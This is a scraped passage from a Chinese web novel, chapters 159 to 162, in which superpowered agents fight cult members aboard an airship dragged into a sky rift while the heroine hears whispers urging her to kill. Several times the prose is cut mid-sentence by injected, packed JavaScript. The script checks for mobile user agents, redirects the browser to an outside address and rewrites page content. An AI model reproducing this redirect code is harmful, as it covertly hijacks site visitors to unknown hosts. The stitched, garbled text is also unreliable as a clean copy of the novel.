l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798749|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，现在呢？” 对于这群人，她毫无怜悯之心。 “你到底是谁，想做什、啊！！！” 嚣张男看见那根金属棍贯穿了绿西装的左右脸颊，整个人抖得更厉害了，脸色更是白的像纸一样。 “呜呜！呜呜呜！” “你说？”简初看向他，满意地看见对方使劲点头，“早这样就好了。” 毛巾从嘴里掏出去，嚣张男大口喘着气，眼神瑟缩：“一共来四个人，玩具商负责把他们接过来，在什么地方我不知道，时间……时间是六点五十之前。” 说完，绿西装对他怒目而视。 “还有呢？” “还有？还有……”那人念念有词，“异能！对异能，但是我不知道他们的异能啊！” 简初无语地叹了口气，头顶挂钟的时间已经来到六点四十五。 “那就抱歉了。” “【□□强化】已升级、解锁能力【针对性防御】” “□□强化：这样的能力对你来说有些鸡肋，它真正的价值也许体现在其他地方。” “针对性防御：你可以随时调动出一块直径为五十公分的防护屏障，存在时间三秒钟，强度取决于使用者的力量。注意该能力仅对异能生效。” 听到系统通报的简初皱了皱眉，一个两个可能是巧合，但出现第三个，就不是可以用巧合来解释的了。 四分之三的概率，可不低啊。 现在没有太多时间给她慢慢思考，简初重新把注意力放到刚才的话上，既然是玩具商操办这件事，那她只要盯住他就好了，但现在隋辩几人不知身处何方，没有队友的话可不太好办啊。 …… “分开的话可就不好办了。” 应术站在会议室的窗前，看着不远处天空中漂浮的飞艇，面上是十分的忧愁。 此时的卡维纳宫殿应该已经完全被天选会控制，马瑞安四人的安危不得而知，更麻烦的是空中没有遮挡，他们靠近势必会引起对方的注意。 他们没有飞艇内部的锚点，就算有传送异能也没办法把人送进去，到最后还是只能靠直升机，只能尽量缩短路上的时间，以最快的速度登艇。 头顶有隆隆的响声划过，数架黑色直升机从蓝湾总队顶楼的停机坪出发，十几秒的功夫就变成了天边的黑点。 天空之眼高耸入云，在余晖中安静矗立，却给人异种莫名的压迫感。 他们在大楼内监测到的异能波动不属于以往记录的任何一个人，也就是说对方是一个全然的新人，又或者是……刚刚接受过“浸染”的成员，如果是后者，她想不明白天选会想在天空之眼做什么。 不知道付出了何等的代价，天选会通过“浸染”卑劣地拔高了异能者的力量，甚至将原来的能力改头换面，成为更无解的能力。 接受过“浸染”的人，那是异能者中的异能者，每每和这群人交战，她都要怀疑自己是否能做出正确的选择，在绝对的力量面前，策略真的有用吗？ 天空之眼的顶楼，晚风带着热气吹来，白偌站在栏杆边，手上把玩着那块积木。 身后不远处的盛余海一会看看她，一会又回头看看身后像摆地摊一样的铺满地面的真迹古董，张了张嘴却没敢开口。 “怪不得提前了。”白偌勾勾唇角，注视着飞向天际的直升机，“也就这点水平。” 159. 无人区（61） 几乎所有人都聚集在宴会大厅和露天观景台，浓艳的火烧云为甲板上的一切蒙上红色滤镜，人们脸上流露出酣然的醉意。 或许是因为醉人的美景，又或许是因为适度的酒精，客人们借着真真假假的醉意谈下一笔笔大生意，喝下更多的酒液。 服务生装扮的简初托着盘子在人群中穿行，腕表上倒计时的数字越来越小，但她面容得体而又平静，好像真的只是一个普通的服务生。 三分钟前，简初在A16和A18扑了个空，没有其他办法，她只能选择来到这里。 她借着昏暗的余晖打量四周，没有见到任何熟悉的面孔，不管是隋辩等人还是幽灵，他们此刻都不在这里。 腕表轻轻嗡鸣，象征着此时距离七点只剩下最后五分钟。 后援为什么还没来？ 简初眉头微微蹙起，冷不丁却被某个力道拉了过去。 “给我们上几杯酒。”对方迅速松开手，朝她眨了眨眼。 隋辩不知道从哪里找来花花绿绿的衣服，虽然有些设计感，但看上去更像个地头蛇，他将鼻梁上的墨镜往下拉了一点，露出被精心涂抹过的双眼。 简初：…… 她的眼神飘向桌上的另外两人，不出意外的话，他们就是…… 顾杰羽托着下巴的动作颇有些娇俏，她眨眼的时候眼皮上的假睫毛扑闪扑闪，似乎能扇出一道风来。 而马瑞安就要低调很多…… 个鬼啊，这个满脸皱纹的老头子是谁啊！ 尽管简初脸上并没有显露出震惊，但她片刻的动作僵硬还是被顾杰羽捕捉到了。 “看来我的技术还没有退步。”她朝简初抛了个飞吻。 简初木然弯下腰，缓缓将盘子里的香槟推过去：“……他们还会来四个人，估计是高层，后援来了吗？” 说话的机会有限，简初嘴唇微动，把当下最重要的信息扔了出去。 周围热闹的交谈与愈加昏暗的光线成为最好的遮掩，桌上的三人脸色瞬间凝重，又很快遮掩好。 他们举起酒杯放到嘴边。 “我没收到消息。”马瑞安借着喝酒的遮挡迅速说道，“静观其变，你尽量不要暴露。” 他的眼神盯着简初，直到她微微点头才作罢。 马瑞安的回答有些委婉，几人迅速交换完信息，简初便收起空杯子，转身和他们拉开了距离，她将托盘里的酒杯送到统一集中的位置，便四处寻找“服务客人”的机会。 露天观景台的夜灯还没有亮起，从这里的栏杆边往下看，地上的光路缓慢亮起，甚至有依稀的车笛声传来。 此时正值下班的高峰期，灯光就像水流一般四处蔓延，直到将不远处的天空之眼染上了明亮的色泽。 因为命案的缘故，会场内部灰扑扑一片，只有下面的楼层不受影响，但更多还是大楼外部的装饰灯光。 简初的大脑中正在盘算着各路消息，视线从天空之眼上掠过，下一秒她整个人明显愣住，眼神又转了回去。 按照原定的航线，现在怎么会飞到这里？ 不顾旁边安保奇怪的眼神，简初逆着风，眯眼趴在了栏杆边。 尽管在飞艇上可以完整看到整栋楼，但实际上距离还是很远，简初只能捕捉到一些微妙的闪光点。 脑海里有什么东西将要碰撞在一起，但就在这时，她听到了奇异的风声。 视线之内的天空中并没有任何物体，但简初很确定这是直升机螺旋桨的声音。 这是……后援来了？ 还没等简初放下心，手腕上的表突然发出“滴滴”声，是她之前定下的七点整的倒计时。 简初突然感受到莫名的烦躁，周围的一切都变成了噪声，吵闹、风声、闹铃……仿佛都汇聚在一起，疯狂地试图钻进她的大脑，有什么涨满了胸口，压得她喘不上气。 该死，这倒计时怎么关不掉？ 大脑开始晕眩，简初猛地撑住围栏，无法控制地发出干呕。 “嘿，你怎么了！”一旁的安保见势不妙，立刻冲上前攥住了她的胳膊，看上去似乎担心她直接跳出去。 “你电话响了？工作的时候是不可以带手机的……” 对方的责备让简初的头更疼了，周围的人群突然嘈杂起来，连脚下的甲板都开始晃动。 “那是什么！” “烟花秀吗？有这样的烟花？” “客人们！请不要聚集！会影响飞行的！” 惊呼声让简初用力睁开眼，顺着人群聚集的方向看过去，根本不用费力，她轻易就看到了一切的源头。 巨大的青绿色光柱从天空之眼的顶端射出，周边的气流随之躁动，云朵被驱散，形成一圈一圈的水波样纹路环绕在光柱周围。 但光柱并没有射向天际，而是在高空的某个位置消失了，就像烟花绽开之前的瞬间，所有人屏住呼吸，眼都不眨一下。 虚空中如愿以偿出现青绿色的细碎纹路，但还没等人们的欢呼响起，仿佛有一双无形的手，顺着空间的肌理撕扯出一个巨大的裂口。 人群哑然，鸦雀无声。 一道细长的菱形出现了，它有着闪电般毛躁的边缘，以及青黑色的内里，仿佛通向另一个不祥的世界。 空气中酝酿着危险的气息，让人毛骨悚然，似乎有什么透过茫茫宇宙，将视线准确地投注于此。 “那是什么！！！” 飞艇晃动得更厉害了，躲在它下方的直升机终于飞了出来，但他们的驾驶方向东倒西歪，看上去完全不受控制。 简初紧紧握着栏杆，茫然地看着有人跳伞，紧接着是震耳欲聋的爆炸声。 观景台通往飞艇内部的大门前聚集着很多人，他们互相推搡着，试图逃入室内，但却根本推不开这道没有上锁的门。 在他们的背后，更多人伫立在原地，微微仰起头看向远处天空中的异象，脸上是淡淡的痴迷，被照得如同青面鬼一般。 “砰！” 气球炸了。 “砰砰砰！” 紧接着是接二连三、越来越快的爆炸声，人群中的惊叫变得刺耳，又迅速低了下去，他们呜咽着挤在一起，目眦俱裂地看着那群人的头颅炸裂，交叠着倒在了地上。 天空中的绿光更浓烈了。 门终于被重新推开，数十名幸存者回过神，蜂拥着挤进室内，仿佛离开这里就会变得安全。 很快，门外走进一个穿着丝质长裙的女性，她皱眉捂住鼻子，小心踩着高跟鞋走过满地血泊，朝身旁的男人抱怨：“怎么弄得这么臭。” “这可不能赖我。” 这两人的声音很熟悉，尽管简初的视线仍然有些模糊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815028|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还是努力看向声音传来的方向。 紧跟着又走进来四个人，跟之前说的分毫不差。 青色光柱已经消失了，但高空的裂缝仍在，内部透出不祥的青黑色，一翕一张似乎有东西在里面鼓动着。 周围的气温迅速下降，所有活人的嘴边都开始出现白汽。 “呃！” 眩晕感变得更加强烈，遥远的地方传来呼唤声，简初听不懂那是什么语言，但却奇异地理解了其中的含义。 [找到你了。] 阴暗的注视锁定了此处，裂缝中有无形的气流涌出，拖拽着空中的飞艇。脚下的甲板剧烈晃动，桌椅板凳东倒西歪，上面的酒水早就随着玻璃渣子碎了一地。 飞艇以惊人的速度靠近了裂缝，好像一条漂浮在汪洋海面上的小帆船，摇晃着无法控制自己的命运，义无反顾地钻进了裂缝深处。 马瑞安谨慎地趴在地上，事到如今他哪里还会不明白，不管天空之眼还是卡维纳宫殿，都只是计划中的一环罢了。 飞艇上的设备在进入裂缝的瞬间停止了运作，但它没有坠落，仿佛真的有一片无边的海水托住了它。 “该死。”砒霜低声咒骂着，用力撕掉自己沾上血迹的裙摆，随手擦了擦小腿才把布料扔开，“还不够，把宴会厅的人也宰了。” 不好！ 一道拳风飞来，阻止了有两人转身的动作。 “你们竟然还活着？”砒霜脸色惊异，但马瑞安等人不明白她的惊异从何而来。 顾杰羽的手紧紧握住马瑞安的肩膀，而她的脚则是轻轻踏在隋辩的肩头，示意他继续装死。 他们没有和对方交涉的想法，虚空中凝结出拳头的虚影，猛然砸向六人战立的位置，他们迅速四散开来，留下甲板上的深坑。 “碍眼的东西……你们俩去里头，这两人我们处理。”砒霜怒了，“愣着干什么，动手啊！” 顾杰羽严阵以待，脚下微微撤开，就等马瑞安吸引火力，再由隋辩进宴会厅救场。 没有人注意到周围越来越低的气温，以及在众人头顶飞舞的雪花。它们仿佛拥有生命一般，在空中左右腾挪，最终凝聚成一条巨大的蝎尾高高扬起。 “小心！” 隋辩飞跃而起，在所有人都没反应过来的时候冲向大门，他感受到背后的寒意，却只以为是敌人的攻击，这下更是低头咬牙往门内冲去。 巨大的蝎尾铺天盖地压下，阴影几乎囊括了整个甲板，但天选会的六人似乎早有准备，他们迅速聚集到一起，一个壮汉上前一步，在头顶撑起碗状的密闭防护罩。 “哗！” 预想中的重击没有到达，取而代之的是温热的雨水，虽然这雨水的分量着实有些夸张，把人淋得落汤鸡一般，但确实没有造成什么大的伤害。 简初扶着栏杆站起身，伸出的掌心还笼罩着细小的火星，她身上全都是粘稠的鲜血，脚边则是一具穿着安保服的无头尸体。 诡异的安静中，有人暴喝出声。 “你杀了李焱？！” 简初还没有来得及想起“李焱”是谁，对面就有人就变了脸色。 “你竟然也可以……” 女人哆嗦着嘴唇吐出半句，下一秒紧急收声，但紧挨着她的玩具商没有错过，狠狠皱紧了眉头 砒霜知道些什么？ 160. 无人区（62） 青绿色的光幽幽照下来，让僵持的场面变得更加凝重。 简初的眼神微微瞥向空中的巨大缺口——飞艇明明早已被拖入裂缝，但此时的天空中裂缝却依然存在。 周围的气温很低，除了简初之外，几乎所有人眉毛上都凝出了白霜，甚至作为一切的始作俑者，天选会的几人也不能幸免。 “唰——” 双方几乎同时发难。 顾杰羽周身的光芒被环境衬托得更显圣洁，尽管配上两人的打扮显得有些滑稽，却丝毫不影响他们的攻势。 镶着银光的拳头虚影带起空气爆裂声，卷着冷气势如破竹冲到了玩具商的面门。 玩具商的异能优势并不在此，当下自然有些躲闪不及，同一时间他身后的砒霜瞬间抬手，目标却是—— “先把她杀了！”女人声音带着少见的阴冷，一路蔓延的艳色花朵迅速爬到简初脚底。 漂亮但有毒，连甲板都开始被腐蚀。 尽管晕眩已经减轻很多，但它的余威还是在简初脑中作祟，她看似迟缓地做出反应，却在鲜花开到脚下的瞬间挪开了步子。 “噗滋——” 鞋底橡胶的边缘被烧灼了一点，流下的液体咕嘟咕嘟冒着泡泡。 简初在地上蹭掉“滴滴答答”的腐蚀液，火焰沿着花路逆流而上，只留下一地焦黑。 几乎是同时，玩具商被击中半边身子，整个人倒飞而出，将观景台的大门砸得稀烂，在宴会厅门口滚了几圈才堪堪停下。 可奇异的是，剩下的四人并没有出手的意思，而是谨慎地互相打量，又将视线投向再次蓄力的马瑞安。 玩具商的异能在这种正面对战的场合下几乎派不上用场，除了…… “砰！噗！” 有什么东西和马瑞安的第二拳撞在了一起，但预想中的冲击波没有出现，而是伴随着一道微小的气泡破裂声，一切消弭于无形。 “……幽灵。”马瑞安语气沉重。 年轻人从飞艇上方轻巧跳了下来，一步一步走到众人的最前方与他对峙，但不知道是不是错觉，马瑞安总觉得他在克制自己的视线，不愿看向周围的人。 听见自己的名字，幽灵的手指下意识蜷缩了一下，他再次向前一步，以防自己不小心瞥见侧后方那人的表情。 她应该会很失望。 局面无法控制地倾斜，幽灵的异能就像一个外挂阻拦在中间。玩具商咳出口中的鲜血，勉强撑着墙壁站起身，用那双阴郁的眼眸看过来。没人看见的黑色雾气如同操纵木偶的丝线，密密麻麻连接到幽灵的后脑。 简初咬牙，冷冷扫了玩具商一眼。 周围安静了下来，让宴会厅内的打斗声更加明显，马瑞安面露担忧，但他显然无法离开此地。银光消散，但顾杰羽的手还放在马瑞安肩上，她的脸上有几滴飞溅的血液，衬得面色更加惨白。 她的眼神转到简初身上，和对方的视线悄然触碰。 讯息在无声传递，简初微微拧起眉头，抢先瞥开了视线。 “幽灵！赶紧动手！咳！！！”玩具商剧烈咳嗽，血沫子堵在气管里让他说不出话来，但黑色的雾气却不受影响，甚至变得更加粗壮。 下一秒动手的却不是幽灵。 “嗖嗖嗖——” 简初一把甩出藏于掌心的玻璃碎片，它们在冷空气的浸润下变得更加易碎，但也更加锋利。 她并不指望这一招能够伤到谁，只是为了引开他们的注意罢了。 “呃！” 玩具商扯扯嘴角露出讥笑，慢悠悠躲开这一招，却没想到下一秒身后却传来风声——有人一脚踹在了他的后腰，他甚至能听见骨头错位的咔嚓声，紧接着是一道扑面而来的明亮火光。 砒霜的面色变得更加冷凝，显然事情已经超出了她的掌控。 她清楚地看到了简初闪现的瞬间，这意味着这人有两个异能。 至少。 这一脚本可以要了玩具商的命，但所有人都没想到，一旁某个看上去事不关己的人冲上前为他扛下了这招。 “玩具商，你竟然……啊啊啊！” 火焰将他的皮肤烤到焦臭，直到他捂着脸仓皇滚逃。 但简初已经不在原地。 “你什么时候控制了他？违反约定了。” 此前撑起防护罩的壮汉出声，他看向玩具商的眼神变得畏惧而又警惕。 玩具商咧咧嘴：“你们要是能配合一点，我也不会这么干，这就是在旁边看戏的代价，咳咳！” “还愣着干什么，要是打算放弃‘浸染’，那就等着她把人都杀干净！” 玩具商口中的人显然不再是宴会厅的客人，而是正在“处理杂事”的天选会成员们。 “你！”有人想要发难，却被壮汉拦下了。 “现在不是争这些的时候，我们等不起。”壮汉冷冷看向玩具商，“我会将这一切告知那位大人，你好自为之。” “呵，没人会给废物撑腰的。” “……你最好一直成功。”壮汉冷着脸最后扔下一句，带着身后两人走向了宴会厅，而他们身后，被玩具商拉来挡枪的人已经僵硬地躺在了地上。 他的伤势本不足以致死，可惜沾到了地上枯萎焦黑的花瓣。 …… 宴会厅内已经没有一片可以落脚的地方。 成堆的桌椅、玻璃碎片散落着，就连用作装饰的帷幕都被扯烂，人群挤在角落瑟瑟发抖，就像是一群抵御严寒的企鹅。 两道冰白色的剑光在空中随着某个花衬衫翻腾，他似乎是飘然无物，自由地在各处跳跃。 在他以只剩下一半的帷幕作为折返点之前，没人能想象到那个地方竟然还能落脚。 尽管如此，但隋辩的状态看上去并不算很好，不仅因为敌人数量多，更是因为他还要分出心神保护身后的乘客。 若是在平常，这样绚烂宛如特效的场面真实发生，一定会引来无数人围观，但此时死亡的阴影笼罩于众人头顶，他们也无暇去管身边的人是否认识，就这么紧紧互相拥抱，双眼紧闭等待着死神的突然造访。 天选会的成员们见缝插针，缓慢却无情地躲走外围人群的生命，气得隋辩牙根痒痒。 “轰——” 大厅突然被明亮的火光照亮，隋辩悚然一惊，回首望去却看见了熟悉的身影。 “简……” 他大脑还没有完全转过来，就看见简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832586|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初的掌心飞出一串火苗，点亮了飘在她周围的白色粉末，霎时间满天烟花炸裂，火星子准确地攀附着粉末的痕迹，将敌人准确地拦在火墙外。 这下打了他们一个措手不及，但异能的限制也在于此——周围的易燃物太多，她不能真的任由火焰将一切吞噬。 “还愣着做什么。”简初吐出的话是截然相反的冰冷，不知道为什么，内心有声音正在劝阻她亲自杀死这些人。 隋辩敏锐地感受到她现在心情并不美妙，甚至称得上很差劲，因此就算他此刻一肚子问号，但也没有眼瞎到上去触霉头。 冰色的剑光无情擦过几人的脖子，而就在这时，简初重新将眼神投向了紧闭却摇摇欲坠的大门。 “砰！” 下一秒，门板被人暴力掀飞，直直飞向躲避的人群，几道剑光闪过，门板才碎成几块，掉在了幸存者的脚边。 他们拥挤着往更深处紧靠。 来者周围环绕着与此前一样的防护罩，一进门三人的视线就落在大厅侧方的简初身上，看上去严阵以待。 真可惜，不是什么蠢货。简初脑中划过这个有些不合时宜的想法。 预想中的攻击并没有发生，为首的壮汉沉下气，喊声响彻大厅的每个角落。 “卡维纳宫殿尊敬的客人们，我们无意为难，只是需要……几个人，你们如果可以推选出几个人交到我们手里，剩下的人都会安然无恙……” “你在狗叫什么！”隋辩气结，飞扬的剑光撞在防护罩上，顷刻间消失无踪，两秒后同样的剑光激射而出，沿着毫无规律的方向击碎的宴会大厅中央的吊灯，激起人群又一阵惊叫。 “你们再插手，我就不敢保证会不会把所有人都杀了。”壮汉面色沉静，“小子，你知道‘浸染’的话就应当明白，就凭你们俩，不会是我们的对手。” 他再次朗声：“怎么样诸位，我只要五……不，三个人就够了。” 人群骚动起来，他们谁都没有出声接下壮汉的话，只是相拥的手臂松了下来，开始互相打量着旁人的脸。 简初眼神微动，黑色的触手卷起地面的餐刀，下一秒银色的刀刃从她掌中飞出，毫无阻碍地穿过屏障，擦着壮汉的耳朵，嵌进他身后一个成员的眼眶中。 果然也只能对异能生效。 “你！”壮汉暴怒。手下当着自己的面被杀，简直就是往他的脸上甩巴掌，甚至要不是他反应快，耳朵都要被削掉半边。 “那个！这人送给你们，放过我吧！” 身后突然传来一个尖利的声音，紧接着是有人被推出来摔在地上，再然后是女人痛苦的哭泣。 “为什么！” 明明其他人都没有出声，为什么他要…… “我很讨厌说话的时候被人打断。” 壮汉脸上的笑意刚刚浮现，就僵在了脸上，他嘴唇紧抿，看向对面脸色平静的女人。 不知何处冒出来的黑色的触手缠绕在她周身，看上去远比他们更像反派。 方才的男人惊叫着，被一根触手准确提出来，扔在了双方中间的空地上，壮汉腮帮子动了动，眼神在对面两人以及地上嚎哭的男人身上来回。 异能署什么时候有这种人了？ 161. 无人区（63） [杀了他……] [不觉得他很碍事吗，这种时候冒出来指手画脚？] [先杀了他，再杀了这群人，你可以做到的。] 简初脑中不断出现莫名的呢喃，它们甚至无法形成语调，但她却奇异地懂得其中饱含蛊惑的意味。 “谁……？”她咬牙克制内心蔓延的恶意。 那道声音没有回应她，只是不断重复着那几句话，直到隋辩都看出了异常。 “喂，你没事吧？”隋辩警惕着对面几人，皱眉抓住了她的手臂，却被掌心下的灼热吓到，整个人顿时一惊，“喂！简初？！” 他心惊地看着从简初身上伸出的黑色触手，咽了咽口水，还是硬着头皮没有离开：“你……怎么了？” 对面那壮汉眯眯眼，立刻向周围两人使了个眼色。 动手。 那两人对视一眼，绚烂的光芒立刻从防护罩内部倾泻而出，没有受到任何阻碍。 看来只会阻挡来自外部的攻击。 “啧，烦人。” 隋辩立刻一把将简初带起，脚尖点地离开了原地，地上的男人被黑色出手紧紧捆绑着，一声尖叫几乎被吊离地面。 虽然对他来说，被异能打死还是被着黑色触手捆住，都是一样的可怕。 “我错了，我错了……”他无意识地重复这句话，被触手重新甩回人潮中，刚刚被推出来的女人抬起头面露犹豫，最终还是瞥开眼神，不再看他。 男人只能小心地缩在一旁的角落里，大概在后悔自己刚刚的所作所为，又或者是气愤于那壮汉的不争气。 看上去那么唬人，结果是个纸老虎，根本不敢和那女孩硬碰硬。 此刻已经没人在意他了。 璀璨的剑光在大厅上空转了一圈，将波及到主人的异能一一弹飞，随后以雷霆之势冲向了防护罩—— 剑光再次被吞噬，下一秒重新射出，但这次隋辩控制住了它们，剑光在空中消散，重新出现在了他身边。 “喂，你清醒一点！”隋辩小声喊着。 简初的眼神看上去有些空洞，但偶尔又会恢复清明，仿佛有什么在争夺着她身体的控制权。 想到这里，隋辩内心悚然，难道是玩具商做了什么手脚，可玩具商明明没有接触过简初，怎么可能会变成这样？ [你……可以……] [杀……全部……] 脑中的呢喃声逐渐汇聚成一团毫无意义的嗡鸣，其中的意思再也无法分辨。 “不要在这里浪费太多时间。”壮汉向身后的人示意，“这次仪式的需求量太大，还差几个人。” 身后的人点点头，将阴郁的目光投向了紧紧团在一起的幸存者们。 此时的宴会大厅呈三足鼎立之势，幸存者们拥挤在一起，躲在大厅的角落中瑟瑟发抖。大厅中央则是状态不太好的隋辩、简初二人。最后靠近大门的位置，则是天选会的成员们。 以这样的站位，隋辩本应可以顺利抵挡来自天选会的攻势，但麻烦在于宴会厅的面积实在太大，而对面那群人里至少有三个接受过浸染，他……根本不是对手。 简初的眼前蒙了一层雾，她的异能似乎受到了莫名的限制，使用的消耗变得难以承受，唯一没有变化的只有小触手了。 “该死的。”隋辩勉力挡下一击，但另一边绕飞而来的异能已经将那男人的胸膛贯穿。 他被幸存者团体拒绝了，只能单独躲在一旁，却弄巧成拙，最后害了自己的性命，可即便他做了错事，隋辩也不能接受他就这么被杀害。 天选会才是一切的始作俑者，之后种种皆因此而起。 正在这时，所有人脚下的地板突然剧烈颤动，似乎是飞艇进入了某个不稳定的气团，但从大门向外看去，外头仍然是那副绿油油的模样。 下一秒，一道巨大的拳头虚影穿透墙壁，直直砸进宴会大厅中，小半边天花板消融于异能之中，露出幽暗的天幕。 外面的光景令人后背一凉。 天空中的裂缝不断向外蔓延出黑色的雾气，仿佛拥有生命一般缓慢向外攀爬。 “成了？”壮汉身边的人面露惊喜，“竟然就差一个！” 可那壮汉脸色并没有变好，而是更加犹豫：“只剩一个，这么巧吗？” 但天空中的异象确实昭示着，浸染即将开始，作为这次浸染的接受者之一，他不该在这里继续浪费时间，而白白错失机会。 “嗯？你现在想走吗？” 一道黑色的闪电擦过他的脸庞，带起一串鲜红的血珠，壮汉猛然回头，看见一根黑色的触手旁若无物地刺进了防护罩，插进身后的墙壁中。 “你……” 他话没说完，触手就猛然拔出，带着凌空之势横扫而来，壮汉下意识撑起防护罩，但却完全没有抵挡住这一下，连同身边站着的两个人一起扫飞，差点从天花板的缺口中飞出去。 他面露惊骇。 本以为这触手是她的异能，现在看来，更象是某种生物。 一旁的隋辩面色不免沉重，这东西展露出的力量让他下意识开始警惕简初，原因无他，实在是她的脸色此时看上去过于冷酷无情，很像是……被什么控制了。 只有简初才知道自己此刻无比清醒，她的大脑好像被什么洗涤过，非常清楚地意识到身边每一个事物的变化——外头的幽灵等人和马瑞安、顾杰羽打得有来有回，但显然幽灵在不停放水，否则以他那奇特的异能，马瑞安恐怕早已败下阵来。 简初微微抬头，透过天花板的缺口看向天空中愈来愈近的裂缝。它的深处似乎有某种东西的存在，她看不见它，更无法观测到内部，却能感受到那一片黑暗中有什么在呼吸。 每一次呼吸，都伴随着黑雾的蔓延，无一例外。 这难道就是他们的……神吗？ 如果是这样无法观测的神秘力量，他们在这里待得越久，处境只会越来越糟糕。 得赶紧解决掉一切，想办法离开这里。 本来被宴会厅分隔为两方的战场，因为马瑞安将天花板击穿而迅速融合到了一起，“砰”的一声，有什么东西坠落在大厅中央，激起满天灰尘。 “幽灵！怎么还没解决？！” 玩具商的声音说不上平静，甚至带着点气喘吁吁，尽管他没有直接正面对战，但为了控制幽灵，他却要花费相当大的力气。 就这样，也不能算是控制，只是用疼痛作为捆缚他的枷锁，让他听从自己的命令，但不知道从什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863836|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始，这道枷锁竟然有了松动的迹象。 究竟发生了什么，他竟然敢违背自己？！ “呃！”脑中的剧痛让幽灵弯下了腰。 “玩具商！这种时候你发什么疯！”砒霜怒骂，“你把我们自己人折磨成这样，谁来帮忙，指望他这幅样子还能打架？！” “他**不听话！！！”玩具商爆了粗口。 这两人思考的问题完全不同，但各有各的道理，听见砒霜的话，马瑞安面露惊异。 从刚才开始，他就感觉到幽灵在故意放水，竟然真的不是错觉？ 幽灵表情平静，伸手擦掉自己的脸，他的下半张脸几乎被红色覆盖，而这些全都是他自己的血。 现在果然不疼了，看来砒霜的话还是管用的。 他下意识看向简初，却没有得到对方的视线，只能落寞地垂下头，再次抬手，向马瑞安……身后的顾杰羽释放异能。 马瑞安带着顾杰羽离开他的异能范围，嘴角抽搐。 这已经不是放水了，放海吧这是。 可他不明白，幽灵为什么要这么做？ “你看看，他根本没有认真打架，他背叛了我们！！！”玩具商崩溃大骂，再次驱动了自己的异能。 “你给我住手，就你这玩法，谁给你卖命！”砒霜完全持反对意见，她大骂出声，手下不断挥洒自己的异能，半个宴会厅顿时开满了剧毒的艳丽花朵。 空气中漂浮着有毒的花粉，简初皱眉，迅速拖着隋辩远离了这片区域。 “多谢。”隋辩说。 回应他的是大片燃烧的火焰，它们砌成火墙，阻碍了“鲜花”继续蔓延，但巨大的消耗让简初倒吸一口凉气，只能忍痛缩小了火墙的范围。 果然还是不行，究竟是为什么明明其他人的异能看着都没有受到影响。 [你再试试……夺走他们的异能……] 脑中的呢喃再次出现，充满了蛊惑。 [杀了他们，夺走他们的异能就好了。] 简初的眼底闪过一道绿光，微微张嘴跟着脑中的声音喃喃道。 “杀了……他们。” 一旁的隋辩听到她模糊的话语声，下意识凑近了一点：“你说什么？” 期待着简初能说出什么解决困局的好办法，却没想到迎面而来的就是一个大巴掌。 这人将他拍飞出去，甚至没有接触到对方，他就已经倒飞而出，撞到幸存者附近的墙壁上，引起一片惊呼。 我去，下手真黑。隋辩揉揉胸口，咳出一口血来，抬头却是满脸担忧。 “简初！你怎么……” 他还没说完，就在满天挥舞的黑色触手中缩紧了瞳仁。 疯了……吧。 如同魔王降临的场景深深刻进他的眼底，隋辩张张嘴却完全没能说出话来。 黑色触手的根部散发着淡淡金光，但不影响它们凶残的本性，玩具商和砒霜狼狈逃出，而剩下的天选会成员中，除了一早逃出去的壮汉，其他都被无情捅了个对穿。 不对，还有幽灵…… 他就站在离简初最近的地方，但所有的触手都避开了他。 凭什么区别对待！ 隋辩陷入巨大的心里不平衡。 162. 无人区（64） “天赋技能【神之手】已升格。” “解锁能力【如我之形】、【雷怒】” “如我之形：你可以短暂拥有五分钟之内接触过的任意非人生命体的能力，但能否使用却取决于自身的资质。注意！其中的能力并非专指异能。” “雷怒：你拥有了掌控雷电的能力，但有时错误的使用反而会让自己受伤。” 脑海中响起噼里啪啦的系统通告，但简初已经无暇分辨其中的含义。 一股神奇的力量进入了她的身体，依附着她的触手们变得更加结实有力，同样也变得更加……面目可憎。 触手根部的金色几乎短到看不见了，只有和简初皮肤衔接的位置才流露出一丝金光。 “这可真是……太糟糕了。” 隋辩几乎忘记胸口的疼痛，只是维持着捂着胸口的动作喃喃自语。 他已经意识到自己方才之所以会被扇飞，完全是站得离简初太近了。此时她的周围布满了黑色触手，但凡有人还站在那里绝对会被撕成碎片。 她在保护他们，听上去是不是有点可笑。 触手们看上去极其不祥，但又因为简初对他们的保护显得可爱了一分。 自己怕不是疯了。隋辩心想。 黑色的触手们拱卫着简初，如同推选出它们的王，将她高高举起，穿过了上方破碎的天花板。 所有人被眼前的画面震慑到失语。 